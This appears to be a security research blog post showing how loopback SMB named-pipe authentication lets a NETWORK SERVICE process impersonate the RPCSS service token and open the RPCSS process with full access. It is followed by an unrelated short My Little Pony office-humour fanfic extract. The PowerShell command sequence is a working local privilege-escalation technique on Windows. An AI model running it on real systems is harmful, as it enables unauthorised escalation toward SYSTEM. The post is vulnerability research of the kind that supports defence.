Sharing a Logon Session a Little Too Much

The Logon Session on Windows is tied to an single authenticated user with a single Token. However, for service accounts that's not really true. Once you factor in Service Hardening there could be multiple different Tokens all identifying in the same logon session with different service groups etc. This blog post demonstrates a case where this sharing of the logon session with multiple different Tokens breaks Service Hardening isolation, at least for NETWORK SERVICE. Also don't forget S-1-1-0, this is NOT A SECURITY BOUNDARY. Lah lah, I can't hear you!

Let's get straight to it, when LSASS creates a Token for a new Logon session it stores that Token for later retrieval. For the most part this isn't that useful, however there is one case where the session Token is repurposed, network authentication. If you look at the prototype of AcquireCredentialsHandle where you specify the user to use for network authentication you'll notice a pvLogonID parameter. The explanatory note says:

"A pointer to a locally unique identifier (LUID) that identifies the user. This parameter is provided for file-system processes such as network redirectors. This parameter can be NULL."

What does this really mean? We'll if you have TCB privilege when doing network authentication this parameter specifies the Logon Session ID (or Authentication ID if you're coming from the Token's perspective) for the Token to use for the network authentication. Of course normally this isn't that interesting if the network authentication is going to another machine as the Token can't follow ('ish). However what about Local Loopback Authentication? In this case it does matter as it means that the negotiated Token on the server, which is the same machine, will actually be the session's Token, not the caller's Token.

Of course if you have TCB you can almost do whatever you like, why is this useful? The clue is back in the explanatory note, "... such as network redirectors". What's an easily accessible network redirector which supports local loopback authentication? SMB. Is there any primitives which SMB supports which allows you to get the network authentication token? Yes, Named Pipes. Will SMB do the network authentication in kernel mode and thus have effective TCB privilege? You betcha. To the PowerShellz!

Note, this is tested on Windows 10 1909, results might vary. First you'll need a PowerShell process running at NETWORK SERVICE. You can follow the instructions from my previous blog post on how to do that. Now with that shell we're running a vanilla NETWORK SERVICE process, nothing special. We do have SeImpersonatePrivilege though so we could probably run something like Rotten Potato, but we won't. Instead why not target the RPCSS service process, it also runs as NETWORK SERVICE and usually has loads of juicy Token handles we could steal to get to SYSTEM. There's of course a problem doing that, let's try and open the RPCSS service process.

PS> Get-RunningService "rpcss"
Name  Status  ProcessId
----  ------  ---------
rpcss Running 1152

PS> $p = Get-NtProcess -ProcessId 1152
Get-NtProcess : (0xC0000022) - {Access Denied}
A process has requested access to an object, but has not been granted those access rights.

Well, that puts an end to that. But wait, what Token would we get from a loop back authentication over SMB? Let's try it. First create a named pipe and start it listening for a new connection.

PS> $pipe = New-NtNamedPipeFile \\.\pipe\ABC -Win32Path
PS> $job = Start-Job { $pipe.Listen() }

Next open a handle to the pipe via localhost, and then wait for the job to complete.

PS> $file = Get-NtFile \\localhost\pipe\ABC -Win32Path
PS> Wait-Job $job | Out-Null

Finally open the RPCSS process again while impersonating the named pipe.

PS> $p = Use-NtObject($pipe.Impersonate()) { 
>>     Get-NtProcess -ProcessId 1152 
>>  }
PS> $p.GrantedAccess
AllAccess

How on earth does that work? Remember I said that the Token stored by LSASS is the first token created in that Logon Session? Well the first NETWORK SERVICE process is RPCSS, so the Token which gets saved is RPCSS's one. We can prove that by opening the impersonation token and looking at the group list.

PS> $token = Use-NtObject($pipe.Impersonate()) { 
>> Get-NtToken -Impersonation 
>> }
PS> $token.Groups | ? Name -Match Rpcss
Name             Attributes
----             ----------
NT SERVICE\RpcSs EnabledByDefault, Owner

Weird behavior, no? Of course this works for every logon session, though a normal user's session isn't quite so interesting. Also don't forget that if you access the admin shares as NETWORK SERVICE you'll actually be authenticated as the RPCSS service so any files it might have dropped with the Service SID would be accessible. Anyway, I'm sure others can come up with creative abuses of this.

Taking a joke a little too far.

Extract from “Rainbow Dash and the Open Plan Office”.

This is an extract from my upcoming 29 chapter My Little Pony fanfic. Clearly I do not own the rights to the characters etc.

Dash was tapping away on the only thing a pony could ever love, the Das Keyboard with rainbow colored LED Cherry Blues. Dash is nothing if not on brand when it comes to illumination. It had been bought in a pique of distain for equine kind, a real low point in what Dash liked to call, annus mirabilis. It was clear Dash liked to sound smart but had skipped Latin lessons at school.

Applejack tried to remain oblivious to the click-clacking coming from the next desk over. But even with the comically over-sized noise cancelling headphones, more akin to ear defenders than something to listen to music with, it all got too much.

“Hey, Dash, did you really have to buy such a noisy keyboard?”, Applejack queried with a tinge of anger. “Very much so, it allows my creativity to flow. Real professionals need real tools. You can’t be a real professional with some inferior Cherry Reds.”, Dash shot back. “Well, if your profession is shit posting on Reddit that might be true, but you’ve only committed 10 lines of code in the past week.”. This elicited an indignant response from Dash, “I spend my time meticulously crafting dulcet prose. Only when it’s ready do I commit my 1000-line object d’art to a change request for reading by mere mortals like yourself.”.

Letting out a groan of frustration Applejack went back to staring at the monitor to wonder why the borrow checker was throwing errors again. The job was only to make ends meet until the debt on the farm could be repaid after the “incident”. At any rate arguing wasn’t worth the time, everyone knew Dash was a favorite of the basement dwelling boss, nothing that pony could do would really lead to anything close to a satisfactory defenestration.

“Have you ever wondered how everyone on the internet is so stupid?”, Dash opined, almost to nopony in particular. Applejack, clearly seeing an in, retorted “Well George Carlin is quoted as saying “Think of how stupid the average person is, and realize half of them are stupider than that.”, it’s clear where the dividing line exists in this office”. “I think if George had the chance to use Twitter he might have revised the calculations a bit” Dash quipped either ignoring the barb or perhaps missing it entirely.

To be continued… not.